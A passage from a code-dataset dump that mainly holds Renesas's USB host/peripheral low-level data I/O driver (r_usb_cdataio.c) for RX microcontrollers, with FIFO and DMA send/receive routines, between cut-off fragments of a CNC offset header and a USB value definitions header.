G58_C_OFFSET 0\n\n#define G59_X_OFFSET 0\n#define G59_Y_OFFSET 0\n#define G59_Z_OFFSET 0\n#define G59_A_OFFSET 0\n#define G59_B_OFFSET 0\n#define G59_C_OFFSET 0\n\n\n" }, { "alpha_fraction": 0.4645753800868988, "alphanum_fraction": 0.4769150912761688, "avg_line_length": 35.38083267211914, "blob_id": "a8dca98ac1ae74e3525f17c449dad40a29bca859", "content_id": "eb959037e18a40c22970626135f9d1f878e85f71", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 28850, "license_type": "no_license", "max_line_length": 120, "num_lines": 793, "path": "/r_usb_basic/src/driver/comm/r_usb_cdataio.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_cdataio.c\n* Description : USB Host and Peripheral low level data I/O code\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Added RX71M.\n***********************************************************************************************************************/\n\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n#include \"r_usb_basic_if.h\"\n#include \"r_usb_reg_access.h\"\n\n\n/******************************************************************************\nConstant macro definitions\n******************************************************************************/\n\n/******************************************************************************\nExternal variables and functions\n******************************************************************************/\n\n/******************************************************************************\nStatic variables and functions\n******************************************************************************/\nstatic void usb_cstd_SelectNak(USB_UTR_t *ptr, uint16_t pipe);\n\n\n/******************************************************************************\nPrivate global variables and functions\n******************************************************************************/\n/* USB data transfer */\n/* PIPEn Buffer counter */\nuint32_t usb_gcstd_DataCnt[USB_NUM_USBIP][USB_MAX_PIPE_NO + 1u];\n/* DMA0 direction */\nuint16_t usb_gcstd_Dma0Dir[USB_NUM_USBIP];\n/* DMA0 buffer size */\nuint32_t usb_gcstd_Dma0Size[USB_NUM_USBIP];\n/* DMA0 FIFO buffer size */\nuint16_t usb_gcstd_Dma0Fifo[USB_NUM_USBIP];\n/* DMA0 pipe number */\nuint16_t usb_gcstd_Dma0Pipe[USB_NUM_USBIP];\n/* PIPEn Buffer pointer(8bit) */\nuint8_t *usb_gcstd_DataPtr[USB_NUM_USBIP][USB_MAX_PIPE_NO + 1u];\n/* Message pipe */\nUSB_UTR_t *usb_gcstd_Pipe[USB_NUM_USBIP][USB_MAX_PIPE_NO + 1u];\n/* XCKE Mode Flag */\nuint16_t usb_gcstd_XckeMode;\n/* Hi-speed enable */\nuint16_t usb_gcstd_HsEnable[USB_NUM_USBIP];\n\n/******************************************************************************\nPrivate global variables and functions\n******************************************************************************/\n\n/******************************************************************************\nRenesas Abstracted common data I/O functions\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : usb_cstd_SendStart\nDescription : Start data transmission using CPU/DMA transfer to USB host/\n : /device.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects e.g. channel.\n : uint16_t pipe : Pipe no.\nReturn value : none\n******************************************************************************/\nvoid usb_cstd_SendStart(USB_UTR_t *ptr, uint16_t pipe)\n{\n USB_UTR_t *pp;\n uint32_t length;\n uint16_t useport;\n\n /* Evacuation pointer */\n pp = usb_gcstd_Pipe[ptr->ip][pipe];\n length = pp->tranlen;\n\n /* Check transfer count */\n if( pp->segment == USB_TRAN_CONT )\n {\n /* Sequence toggle */\n usb_cstd_DoSqtgl(ptr, pipe, pp->pipectr);\n }\n\n /* Select NAK */\n usb_cstd_SelectNak(ptr, pipe);\n /* Set data count */\n usb_gcstd_DataCnt[ptr->ip][pipe] = length;\n /* Set data pointer */\n usb_gcstd_DataPtr[ptr->ip][pipe] = (uint8_t*)pp->tranadr;\n#if USB_FUNCSEL_USBIP0_PP == USB_HOST_PP || USB_FUNCSEL_USBIP1_PP == USB_HOST_PP\n /* Ignore count clear */\n usb_ghstd_IgnoreCnt[ptr->ip][pipe] = (uint16_t)0;\n#endif /* USB_FUNCSEL_USBIP0_PP == USB_HOST_PP || USB_FUNCSEL_USBIP1_PP == USB_HOST_PP */\n\n /* BEMP Status Clear */\n usb_creg_clr_sts_bemp( ptr, pipe );\n /* BRDY Status Clear */\n usb_creg_clr_sts_brdy( ptr, pipe );\n\n /* Pipe number to FIFO port select */\n useport = usb_cstd_Pipe2Fport(ptr, pipe);\n /* Check use FIFO access */\n switch( useport )\n {\n /* CFIFO use */\n case USB_CUSE:\n /* Buffer to FIFO data write */\n usb_cstd_Buf2Fifo(ptr, pipe, useport);\n /* Set BUF */\n usb_cstd_SetBuf(ptr, pipe);\n break;\n /* D0FIFO use */\n case USB_D0USE:\n /* D0 FIFO access is NG */\n USB_PRINTF1(\"### USB-ITRON is not support(SND-D0USE:pipe%d)\\n\", pipe);\n usb_cstd_ForcedTermination(ptr, pipe, (uint16_t)USB_DATA_ERR);\n break;\n /* D1FIFO use */\n case USB_D1USE:\n /* Buffer to FIFO data write */\n usb_cstd_Buf2Fifo(ptr, pipe, useport);\n /* Set BUF */\n usb_cstd_SetBuf(ptr, pipe);\n break;\n\n#ifdef USB_DTC_ENABLE\n /* D0FIFO DMA */\n case USB_D0DMA:\n /* Setting for use PIPE number */\n usb_gcstd_Dma0Pipe[ptr->ip] = pipe;\n /* PIPE direction */\n usb_gcstd_Dma0Dir[ptr->ip] = usb_cstd_GetPipeDir(ptr, pipe);\n /* Buffer size */\n usb_gcstd_Dma0Fifo[ptr->ip] = usb_cstd_GetBufSize(ptr, pipe);\n /* Check data count */\n if( usb_gcstd_DataCnt[ptr->ip][usb_gcstd_Dma0Pipe[ptr->ip]] <= usb_gcstd_Dma0Fifo[ptr->ip] )\n {\n /* Transfer data size */\n usb_gcstd_Dma0Size[ptr->ip] = (uint16_t)usb_gcstd_DataCnt[ptr->ip][usb_gcstd_Dma0Pipe[ptr->ip]];\n /* Enable Empty Interrupt */\n usb_creg_set_bempenb(ptr, usb_gcstd_Dma0Pipe[ptr->ip]);\n }\n else\n {\n /* Data size == FIFO size */\n usb_gcstd_Dma0Size[ptr->ip] = usb_gcstd_Dma0Fifo[ptr->ip];\n }\n\n usb_cstd_Buf2fifoStartDma( ptr, pipe, useport );\n\n /* Set BUF */\n usb_cstd_SetBuf(ptr, pipe);\n break;\n /* D1FIFO DMA */\n case USB_D1DMA:\n /* D1 FIFO access is NG */\n USB_PRINTF1(\"### USB-ITRON is not support(SND-D1DMA:pipe%d)\\n\", pipe);\n usb_cstd_ForcedTermination(ptr, pipe, (uint16_t)USB_DATA_ERR);\n break;\n#endif /* USB_DTC_ENABLE */\n\n default:\n /* Access is NG */\n USB_PRINTF1(\"### USB-ITRON is not support(SND-else:pipe%d)\\n\", pipe);\n usb_cstd_ForcedTermination(ptr, pipe, (uint16_t)USB_DATA_ERR);\n break;\n }\n}\n/******************************************************************************\nEnd of function usb_cstd_SendStart\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : usb_cstd_Buf2Fifo\nDescription : Set USB registers as required to write from data buffer to USB \n : FIFO, to have USB FIFO to write data to bus.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects e.g. channel.\n : uint16_t pipe : Pipe no.\n : uint16_t useport : Port no.\nReturn value : none\n******************************************************************************/\nvoid usb_cstd_Buf2Fifo(USB_UTR_t *ptr, uint16_t pipe, uint16_t useport)\n{\n uint16_t end_flag;\n\n /* Disable Ready Interrupt */\n usb_creg_clr_brdyenb(ptr, pipe);\n#if USB_FUNCSEL_USBIP0_PP == USB_HOST_PP || USB_FUNCSEL_USBIP1_PP == USB_HOST_PP\n /* Ignore count clear */\n usb_ghstd_IgnoreCnt[ptr->ip][pipe] = (uint16_t)0;\n#endif /* USB_FUNCSEL_USBIP0_PP == USB_HOST_PP || USB_FUNCSEL_USBIP1_PP == USB_HOST_PP */\n\n end_flag = usb_cstd_write_data( ptr, pipe, useport );\n\n /* Check FIFO access sequence */\n switch( end_flag )\n {\n case USB_WRITING:\n /* Continue of data write */\n /* Enable Ready Interrupt */\n usb_creg_set_brdyenb(ptr, pipe);\n /* Enable Not Ready Interrupt */\n usb_cstd_NrdyEnable(ptr, pipe);\n break;\n case USB_WRITEEND:\n /* End of data write */\n /* continue */\n case USB_WRITESHRT:\n /* End of data write */\n /* Enable Empty Interrupt */\n usb_creg_set_bempenb(ptr, pipe);\n /* Enable Not Ready Interrupt */\n usb_cstd_NrdyEnable(ptr, pipe);\n break;\n case USB_FIFOERROR:\n /* FIFO access error */\n USB_PRINTF0(\"### FIFO access error \\n\");\n usb_cstd_ForcedTermination(ptr, pipe, (uint16_t)USB_DATA_ERR);\n break;\n default:\n usb_cstd_ForcedTermination(ptr, pipe, (uint16_t)USB_DATA_ERR);\n break;\n }\n}\n/******************************************************************************\nEnd of function usb_cstd_Buf2Fifo\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : usb_cstd_write_data\nDescription : Switch PIPE, request the USB FIFO to write data, and manage \n : the size of written data.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects e.g. channel.\n : uint16_t pipe : Pipe no.\n : uint16_t pipemode : CUSE/D0DMA/D1DMA\nReturn value : uint16_t end_flag\n******************************************************************************/\nuint16_t usb_cstd_write_data(USB_UTR_t *ptr, uint16_t pipe, uint16_t pipemode )\n{\n uint16_t size, count, buffer, mxps;\n uint16_t end_flag;\n\n /* Changes FIFO port by the pipe. */\n if( (pipemode == USB_CUSE) && (pipe == USB_PIPE0) )\n {\n buffer = usb_cstd_is_set_frdy(ptr, pipe, (uint16_t)USB_CUSE, (uint16_t)USB_ISEL);\n }\n else\n {\n buffer = usb_cstd_is_set_frdy(ptr, pipe, (uint16_t)pipemode, USB_NO);\n }\n\n /* Check error */\n if( buffer == USB_FIFOERROR )\n {\n /* FIFO access error */\n return (USB_FIFOERROR);\n }\n /* Data buffer size */\n size = usb_cstd_GetBufSize(ptr, pipe);\n /* Max Packet Size */\n mxps = usb_cstd_GetMaxPacketSize(ptr, pipe);\n\n /* Data size check */\n if( usb_gcstd_DataCnt[ptr->ip][pipe] <= (uint32_t)size )\n {\n count = (uint16_t)usb_gcstd_DataCnt[ptr->ip][pipe];\n /* Data count check */\n if( count == 0 )\n {\n /* Null Packet is end of write */\n end_flag = USB_WRITESHRT;\n }\n else if( (count % mxps) != 0 )\n {\n /* Short Packet is end of write */\n end_flag = USB_WRITESHRT;\n }\n else\n {\n if( pipe == USB_PIPE0 )\n {\n /* Just Send Size */\n end_flag = USB_WRITING;\n }\n else\n {\n /* Write continues */\n end_flag = USB_WRITEEND;\n }\n }\n }\n else\n {\n /* Write continues */\n end_flag = USB_WRITING;\n count = size;\n }\n\n usb_gcstd_DataPtr[ptr->ip][pipe] = usb_cstd_write_fifo( ptr, count, pipemode, usb_gcstd_DataPtr[ptr->ip][pipe] );\n\n /* Check data count to remain */\n if( usb_gcstd_DataCnt[ptr->ip][pipe] < (uint32_t)size )\n {\n /* Clear data count */\n usb_gcstd_DataCnt[ptr->ip][pipe] = (uint32_t)0u;\n /* Read CFIFOCTR */\n buffer = usb_creg_read_fifoctr( ptr, pipemode );\n /* Check BVAL */\n if( (buffer & USB_BVAL) == 0u )\n {\n /* Short Packet */\n usb_creg_set_bval( ptr, pipemode );\n }\n }\n else\n {\n /* Total data count - count */\n usb_gcstd_DataCnt[ptr->ip][pipe] -= count;\n }\n /* End or Err or Continue */\n return end_flag;\n}\n/******************************************************************************\nEnd of function usb_cstd_write_data\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : usb_cstd_ReceiveStart\nDescription : Start data reception using CPU/DMA transfer to USB Host/USB\n : device.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects e.g. channel.\n : uint16_t pipe : Pipe no.\nReturn value : none\n******************************************************************************/\nvoid usb_cstd_ReceiveStart(USB_UTR_t *ptr, uint16_t pipe)\n{\n USB_UTR_t *pp;\n uint32_t length;\n uint16_t mxps, useport;\n#ifdef ISO_USE\n// uint16_t bsts;\n#endif /* ISO_USE */\n\n /* Evacuation pointer */\n pp = usb_gcstd_Pipe[ptr->ip][pipe];\n length = pp->tranlen;\n\n /* Check transfer count */\n if( pp->segment == USB_TRAN_CONT )\n {\n /* Sequence toggle */\n usb_cstd_DoSqtgl(ptr, pipe, pp->pipectr);\n }\n\n /* Select NAK */\n usb_cstd_SelectNak(ptr, pipe);\n /* Set data count */\n usb_gcstd_DataCnt[ptr->ip][pipe] = length;\n /* Set data pointer */\n usb_gcstd_DataPtr[ptr->ip][pipe] = (uint8_t*)pp->tranadr;\n\n#if USB_FUNCSEL_USBIP0_PP == USB_HOST_PP || USB_FUNCSEL_USBIP1_PP == USB_HOST_PP\n /* Ignore count clear */\n usb_ghstd_IgnoreCnt[ptr->ip][pipe] = (uint16_t)0u;\n#endif /* USB_FUNCSEL_USBIP0_PP == USB_HOST_PP || USB_FUNCSEL_USBIP1_PP == USB_HOST_PP */\n\n /* Pipe number to FIFO port select */\n useport = usb_cstd_Pipe2Fport(ptr, pipe);\n\n /* Check use FIFO access */\n switch( useport )\n {\n /* D0FIFO use */\n case USB_D0USE:\n /* D0 FIFO access is NG */\n USB_PRINTF1(\"### USB-ITRON is not support(RCV-D0USE:pipe%d)\\n\", pipe);\n usb_cstd_ForcedTermination(ptr, pipe, (uint16_t)USB_DATA_ERR);\n break;\n \n /* CFIFO use */\n case USB_CUSE:\n /* continue */\n \n /* D1FIFO use */\n case USB_D1USE:\n /* Changes the FIFO port by the pipe. */\n usb_cstd_chg_curpipe(ptr, pipe, useport, USB_NO);\n /* Max Packet Size */\n mxps = usb_cstd_GetMaxPacketSize(ptr, pipe);\n if( length != (uint32_t)0u )\n {\n /* Data length check */\n if( (length % mxps) == (uint32_t)0u )\n {\n /* Set Transaction counter */\n usb_cstd_SetTransactionCounter(ptr, pipe, (uint16_t)(length / mxps));\n }\n else\n {\n /* Set Transaction counter */\n usb_cstd_SetTransactionCounter(ptr, pipe, (uint16_t)((length / mxps) + (uint32_t)1u));\n }\n }\n /* Set BUF */\n usb_cstd_SetBuf(ptr, pipe);\n /* Enable Ready Interrupt */\n usb_creg_set_brdyenb(ptr, pipe);\n /* Enable Not Ready Interrupt */\n usb_cstd_NrdyEnable(ptr, pipe);\n break;\n \n#ifdef USB_DTC_ENABLE\n /* D0FIFO DMA */\n case USB_D0DMA:\n /* Setting for use PIPE number */\n usb_gcstd_Dma0Pipe[ptr->ip] = pipe;\n /* PIPE direction */\n usb_gcstd_Dma0Dir[ptr->ip] = usb_cstd_GetPipeDir(ptr, pipe);\n /* Buffer size */\n usb_gcstd_Dma0Fifo[ptr->ip] = usb_cstd_GetBufSize(ptr, pipe);\n /* Check data count */\n if( usb_gcstd_DataCnt[ptr->ip][usb_gcstd_Dma0Pipe[ptr->ip]] < usb_gcstd_Dma0Fifo[ptr->ip] )\n {\n /* Transfer data size */\n usb_gcstd_Dma0Size[ptr->ip] = (uint16_t)usb_gcstd_DataCnt[ptr->ip][usb_gcstd_Dma0Pipe[ptr->ip]];\n }\n else\n {\n /* Data size == FIFO size */\n usb_gcstd_Dma0Size[ptr->ip] = usb_gcstd_Dma0Fifo[ptr->ip];\n }\n\n usb_cstd_Fifo2BufStartDma( ptr, pipe, useport, length );\n\n break;\n \n /* D1FIFO DMA */\n case USB_D1DMA:\n /* D1 FIFO access is NG */\n USB_PRINTF1(\"### USB-ITRON is not support(RCV-D1DMA:pipe%d)\\n\", pipe);\n usb_cstd_ForcedTermination(ptr, pipe, (uint16_t)USB_DATA_ERR);\n break;\n#endif /* USB_DTC_ENABLE */\n\n default:\n USB_PRINTF1(\"### USB-ITRON is not support(RCV-else:pipe%d)\\n\", pipe);\n usb_cstd_ForcedTermination(ptr, pipe, (uint16_t)USB_DATA_ERR);\n break;\n }\n}\n/******************************************************************************\nEnd of function usb_cstd_ReceiveStart\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : usb_cstd_Fifo2Buf\nDescription : Request readout from USB FIFO to buffer and process depending\n : on status; read complete or reading.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects e.g. channel.\n : uint16_t pipe : Pipe no.\nReturn value : none\n******************************************************************************/\nvoid usb_cstd_Fifo2Buf(USB_UTR_t *ptr, uint16_t pipe, uint16_t useport)\n{\n uint16_t end_flag;\n\n#if USB_FUNCSEL_USBIP0_PP == USB_HOST_PP || USB_FUNCSEL_USBIP1_PP == USB_HOST_PP\n /* Ignore count clear */\n usb_ghstd_IgnoreCnt[ptr->ip][pipe] = (uint16_t)0;\n#endif /* USB_FUNCSEL_USBIP0_PP == USB_HOST_PP || USB_FUNCSEL_USBIP1_PP == USB_HOST_PP */\n end_flag = USB_ERROR;\n\n end_flag = usb_cstd_read_data( ptr, pipe, useport );\n\n /* Check FIFO access sequence */\n switch( end_flag )\n {\n case USB_READING:\n /* Continue of data read */\n break;\n \n case USB_READEND:\n /* End of data read */\n usb_cstd_DataEnd(ptr, pipe, (uint16_t)USB_DATA_OK);\n break;\n \n case USB_READSHRT:\n /* End of data read */\n usb_cstd_DataEnd(ptr, pipe, (uint16_t)USB_DATA_SHT);\n break;\n \n case USB_READOVER:\n /* Buffer over */\n USB_PRINTF1(\"### Receive data over PIPE%d\\n\",pipe);\n usb_cstd_ForcedTermination(ptr, pipe, (uint16_t)USB_DATA_OVR);\n break;\n \n case USB_FIFOERROR:\n /* FIFO access error */\n USB_PRINTF0(\"### FIFO access error \\n\");\n usb_cstd_ForcedTermination(ptr, pipe, (uint16_t)USB_DATA_ERR);\n break;\n \n default:\n usb_cstd_ForcedTermination(ptr, pipe, (uint16_t)USB_DATA_ERR);\n break;\n }\n}\n/******************************************************************************\nEnd of function usb_cstd_Fifo2Buf\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : usb_cstd_read_data\nDescription : Request to read data from USB FIFO, and manage the size of \n : the data read.\nArguments : uint16_t pipe : Pipe no.\nReturn value : uint16_t end_flag\n******************************************************************************/\nuint16_t usb_cstd_read_data(USB_UTR_t *ptr, uint16_t pipe, uint16_t pipemode)\n{\n uint16_t count, buffer, mxps, dtln;\n uint16_t end_flag;\n\n /* Changes FIFO port by the pipe. */\n buffer = usb_cstd_is_set_frdy(ptr, pipe, (uint16_t)pipemode, USB_NO);\n if( buffer == USB_FIFOERROR )\n {\n//#ifndef ISO_USE\n /* FIFO access error */\n return (USB_FIFOERROR);\n//#endif\n }\n dtln = (uint16_t)(buffer & USB_DTLN);\n /* Max Packet Size */\n mxps = usb_cstd_GetMaxPacketSize(ptr, pipe);\n\n if( usb_gcstd_DataCnt[ptr->ip][pipe] < dtln )\n {\n /* Buffer Over ? */\n end_flag = USB_READOVER;\n /* Set NAK */\n usb_cstd_SetNak(ptr, pipe);\n count = (uint16_t)usb_gcstd_DataCnt[ptr->ip][pipe];\n usb_gcstd_DataCnt[ptr->ip][pipe] = dtln;\n }\n else if( usb_gcstd_DataCnt[ptr->ip][pipe] == dtln )\n {\n /* Just Receive Size */\n count = dtln;\n if( (pipe == USB_PIPE0) && ((dtln % mxps) == 0) )\n {\n /* Just Receive Size */\n if( usb_cstd_is_host_mode(ptr) == USB_NO )\n {\n /* Peripheral Function */\n end_flag = USB_READING;\n }\n else\n {\n /* Host Function */\n end_flag = USB_READEND;\n /* Set NAK */\n usb_cstd_SelectNak(ptr, pipe);\n }\n }\n else\n {\n end_flag = USB_READEND;\n /* Set NAK */\n usb_cstd_SelectNak(ptr, pipe);\n }\n }\n else\n {\n /* Continus Receive data */\n count = dtln;\n end_flag = USB_READING;\n if( count == 0 )\n {\n /* Null Packet receive */\n end_flag = USB_READSHRT;\n /* Select NAK */\n usb_cstd_SelectNak(ptr, pipe);\n }\n if( (count % mxps) != 0 )\n {\n /* Null Packet receive */\n end_flag = USB_READSHRT;\n /* Select NAK */\n usb_cstd_SelectNak(ptr, pipe);\n }\n }\n\n if( dtln == 0 )\n {\n /* 0 length packet */\n /* Clear BVAL */\n usb_creg_set_bclr( ptr, pipemode );\n }\n else\n {\n usb_gcstd_DataPtr[ptr->ip][pipe] = usb_cstd_read_fifo( ptr, count, pipemode, usb_gcstd_DataPtr[ptr->ip][pipe] );\n }\n usb_gcstd_DataCnt[ptr->ip][pipe] -= count;\n\n /* End or Err or Continue */\n return (end_flag);\n}\n/******************************************************************************\nEnd of function usb_cstd_read_data\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : usb_cstd_DataEnd\nDescription : Set USB registers as appropriate after data transmission/re-\n : ception, and call the callback function as transmission/recep-\n : tion is complete.\nArguments : uint16_t pipe : Pipe no.\n : uint16_t status : Transfer status type.\nReturn value : none\n******************************************************************************/\nvoid usb_cstd_DataEnd(USB_UTR_t *ptr, uint16_t pipe, uint16_t status)\n{\n uint16_t useport;\n\n /* PID = NAK */\n /* Set NAK */\n usb_cstd_SelectNak(ptr, pipe);\n /* Pipe number to FIFO port select */\n useport = usb_cstd_Pipe2Fport(ptr, pipe);\n\n /* Disable Interrupt */\n /* Disable Ready Interrupt */\n usb_creg_clr_brdyenb(ptr, pipe);\n /* Disable Not Ready Interrupt */\n usb_creg_clr_nrdyenb(ptr, pipe);\n /* Disable Empty Interrupt */\n usb_creg_clr_bempenb(ptr, pipe);\n\n /* Disable Transaction count */\n usb_cstd_ClrTransactionCounter(ptr, pipe);\n\n /* Check use FIFO */\n switch( useport )\n {\n /* CFIFO use */\n case USB_CUSE:\n break;\n /* D0FIFO use */\n case USB_D0USE:\n break;\n\n#ifdef USB_DTC_ENABLE\n /* D0FIFO DMA */\n case USB_D0DMA:\n /* DMA buffer clear mode clear */\n usb_creg_clr_dclrm( ptr, USB_D0DMA );\n if(ptr -> ip == USB_USBIP_0)\n {\n usb_creg_set_mbw( ptr, USB_D0DMA, USB0_D0FIFO_MBW );\n }\n else if (ptr -> ip == USB_USBIP_1)\n {\n usb_creg_set_mbw( ptr, USB_D0DMA, USB1_D0FIFO_MBW );\n }\n usb_creg_write_dmacfg( ptr, USB_D0DMA, USB_CPU_ADR_RD_WR );\n break;\n#endif /* USB_DTC_ENABLE */\n\n /* D1FIFO use */\n case USB_D1USE:\n break;\n\n#ifdef USB_DTC_ENABLE\n /* D1FIFO DMA */\n case USB_D1DMA:\n /* continue */\n#endif /* USB_DTC_ENABLE */\n\n default:\n break;\n }\n\n /* Call Back */\n if( usb_gcstd_Pipe[ptr->ip][pipe] != USB_NULL )\n {\n /* Check PIPE TYPE */\n if( usb_cstd_GetPipeType(ptr, pipe) != USB_ISO )\n {\n /* Transfer information set */\n usb_gcstd_Pipe[ptr->ip][pipe]->tranlen = usb_gcstd_DataCnt[ptr->ip][pipe];\n usb_gcstd_Pipe[ptr->ip][pipe]->status = status;\n usb_gcstd_Pipe[ptr->ip][pipe]->pipectr = usb_creg_read_pipectr(ptr, pipe);\n#if USB_FUNCSEL_USBIP0_PP == USB_HOST_PP || USB_FUNCSEL_USBIP1_PP == USB_HOST_PP\n usb_gcstd_Pipe[ptr->ip][pipe]->errcnt = (uint8_t)usb_ghstd_IgnoreCnt[ptr->ip][pipe];\n#else /* USB_FUNCSEL_USBIP0_PP == USB_HOST_PP || USB_FUNCSEL_USBIP1_PP == USB_HOST_PP */\n usb_gcstd_Pipe[ptr->ip][pipe]->errcnt = 0;\n#endif /* USB_FUNCSEL_USBIP0_PP == USB_HOST_PP || USB_FUNCSEL_USBIP1_PP == USB_HOST_PP */\n\n usb_gcstd_Pipe[ptr->ip][pipe]->ipp = ptr->ipp;\n usb_gcstd_Pipe[ptr->ip][pipe]->ip = ptr->ip;\n\n (usb_gcstd_Pipe[ptr->ip][pipe]->complete)(usb_gcstd_Pipe[ptr->ip][pipe], 0, 0);\n usb_gcstd_Pipe[ptr->ip][pipe] = (USB_UTR_t*)USB_NULL;\n }\n else\n {\n /* Transfer information set */\n usb_gcstd_Pipe[ptr->ip][pipe]->tranlen = usb_gcstd_DataCnt[ptr->ip][pipe];\n usb_gcstd_Pipe[ptr->ip][pipe]->pipectr = usb_creg_read_pipectr(ptr, pipe);\n#if USB_FUNCSEL_USBIP0_PP == USB_HOST_PP || USB_FUNCSEL_USBIP1_PP == USB_HOST_PP\n usb_gcstd_Pipe[ptr->ip][pipe]->errcnt = (uint8_t)usb_ghstd_IgnoreCnt[ptr->ip][pipe];\n#else /* USB_FUNCSEL_USBIP0_PP == USB_HOST_PP || USB_FUNCSEL_USBIP1_PP == USB_HOST_PP */\n usb_gcstd_Pipe[ptr->ip][pipe]->errcnt = 0;\n#endif /* USB_FUNCSEL_USBIP0_PP == USB_HOST_PP || USB_FUNCSEL_USBIP1_PP == USB_HOST_PP */\n\n usb_gcstd_Pipe[ptr->ip][pipe]->ipp = ptr->ipp;\n usb_gcstd_Pipe[ptr->ip][pipe]->ip = ptr->ip;\n\n /* Data Transfer (restart) */\n if( usb_cstd_GetPipeDir(ptr, pipe) == USB_BUF2FIFO )\n {\n /* OUT Transfer */\n usb_gcstd_Pipe[ptr->ip][pipe]->status = USB_DATA_WRITING;\n (usb_gcstd_Pipe[ptr->ip][pipe]->complete)(usb_gcstd_Pipe[ptr->ip][pipe], 0, 0);\n }\n else\n {\n /* IN Transfer */\n usb_gcstd_Pipe[ptr->ip][pipe]->status = USB_DATA_READING;\n (usb_gcstd_Pipe[ptr->ip][pipe]->complete)(usb_gcstd_Pipe[ptr->ip][pipe], 0, 0);\n }\n }\n }\n}\n/******************************************************************************\nEnd of function usb_cstd_DataEnd\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : void usb_cstd_SelectNak(uint16_t pipe)\nDescription : Set the specified pipe PID to send a NAK if the transfer type \n : is BULK/INT. \nArguments : uint16_t pipe : Pipe number.\nReturn value : none\n******************************************************************************/\nvoid usb_cstd_SelectNak(USB_UTR_t *ptr, uint16_t pipe)\n{\n /* Check PIPE TYPE */\n if( usb_cstd_GetPipeType(ptr, pipe) != USB_ISO )\n {\n usb_cstd_SetNak(ptr, pipe);\n }\n}\n/******************************************************************************\nEnd of function usb_cstd_SelectNak\n******************************************************************************/\n\n/******************************************************************************\nEnd Of File\n******************************************************************************/\n" }, { "alpha_fraction": 0.45066556334495544, "alphanum_fraction": 0.5041855573654175, "avg_line_length": 41.614036560058594, "blob_id": "d15618493fdc71631edee9bba62ec2b58843858b", "content_id": "416b51e6cdc0f73613a4fecb4321294f8d05dbf3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 7287, "license_type": "no_license", "max_line_length": 120, "num_lines": 171, "path": "/r_usb_basic/src/HW/inc/r_usb_defvalue.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014 Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_defvalue.h\n* Description : USB value definition\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n***********************************************************************************************************************/\n\n\n#ifndef __R_USB_DEFVAL_H__\n#define __R_USB_DEFVAL_H__\n\n/* 